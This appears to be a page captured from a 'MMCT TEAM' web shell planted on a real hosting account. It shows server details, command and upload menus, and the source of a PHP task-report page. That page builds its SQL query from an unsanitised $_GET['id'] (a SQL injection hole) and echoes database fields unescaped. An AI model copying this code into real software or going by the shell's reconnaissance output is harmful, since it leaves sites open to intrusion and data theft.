MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/public_html/thesmarthands/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/thesmarthands/task-report1.php
<?php
session_start();
error_reporting(0); 
ini_set('display_errors', 0); 
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("inc/config.php");;
 
?>

<!DOCTYPE html>
<html lang="en">
    
<?php require "inc/head.php"; ?>


    <body>
        <!-- header-->
        <?php require "inc/header.php"; ?>
        <!-- End header-->

        <div class="wrapper">
        <?php require "inc/sidebar.php"; ?>
        <div id="content">
        <div class="row mb-4">
        <div class="col-12 col-sm-12">
    <div class="row">
        <div class="col-12 col-md-12 mb-4">
            <div class="card redial-border-light redial-shadow">
                <div class="card-body">
                    <table id="invoiceTable" class="table table-bordered">
                        <thead>
                            <tr>
                                <td class="text-center" colspan="6"><b>Report</b></td>
                            </tr>
                            <tr>
                                <td><b>Task Name</b></td>
                                <td><b>Employee Name</b></td>
                                <td><b>Total Task Amt</b></td>
                                <td><b>Grand Total</b></td>
                            </tr>
                        </thead>
                        <tbody>
                            <?php
                            $id = $_GET['id'];
                            $query = "SELECT * FROM tasks WHERE id='$id'";
                            $query_run = mysqli_query($conn, $query);

                            // Initialize total amounts
                            $total_amount = 0;
                            $grand_total = 0;

                            if (mysqli_num_rows($query_run) > 0) {
                                foreach ($query_run as $row) {
                                    $task_name = $row['task_name'];
                                    $emp_name = $row['emp_name'];

                                    $task_amount = floatval($row['grand_total']); // Ensure it's a float

                                    // Calculate Grand Total (no tax shown)
                                    $sub_total = $task_amount;

                                    // Sum total amounts
                                    $total_amount += $task_amount;
                                    $grand_total += $sub_total;
                            ?>
                                <tr>
                                    <td><?php echo $task_name; ?></td>
                                    <td><?php echo $emp_name; ?></td>
                                    <td><?php echo number_format($task_amount, 2); ?> Rs</td>
                                    <td><?php echo number_format($sub_total, 2); ?> Rs</td>
                                </tr>
                            <?php
                                }
                            } else {
                                echo "<tr><td colspan='4' class='text-center'>No tasks found for this project</td></tr>";
                            }
                            ?>
                            <!-- <tr>
                                <td class="text-right" colspan="3"><b>Sub-Total</b></td>
                                <td><?php echo number_format($total_amount, 2); ?> Rs</td>
                            </tr> -->
                            <!-- <tr>
                                <td class="text-right" colspan="3"><b>Grand Total</b></td>
                                <td><?php echo number_format($grand_total, 2); ?> Rs</td>
                            </tr> -->
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>

</div>

</div>




          
        </div>
        <!-- End main-content-->

        <!-- Top To Bottom-->
 <a href="#" class="scrollup text-center redial-bg-primary redial-rounded-circle-50"> 
            <h4 class="text-white mb-0"><i class="icofont icofont-long-arrow-up"></i></h4>
        </a>
        <!-- End Top To Bottom-->

        <!-- Chat-->
     
        <!-- End Chat-->
        
        <!-- jQuery -->
        <script src="dist/js/plugins.min.js"></script>       
        <script src="dist/js/common.js"></script>


        <!-- DataTables CSS -->
        <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdn.datatables.net/1.13.6/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/buttons/2.4.1/js/dataTables.buttons.min.js"></script>
<script src="https://cdn.datatables.net/buttons/2.4.1/js/buttons.html5.min.js"></script>
<script src="https://cdn.datatables.net/buttons/2.4.1/js/buttons.print.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.68/pdfmake.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.68/vfs_fonts.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"></script>

<!-- <script>
    $(document).ready(function () {
        $('#invoiceTable').DataTable({
            dom: 'Bfrtip', 
            buttons: [
                {
                    extend: 'excelHtml5',
                    title: 'Invoice List',
                    text: 'Export to Excel'
                },
                {
                    extend: 'pdfHtml5',
                    title: 'Invoice List',
                    text: 'Export to PDF'
                },
                {
                    extend: 'print',
                    title: 'Invoice List',
                    text: 'Print'
                }
            ],
            paging: false, 
            searching: false 
        });
    });
</script> -->


    </body>

</html>

MMCT - 2023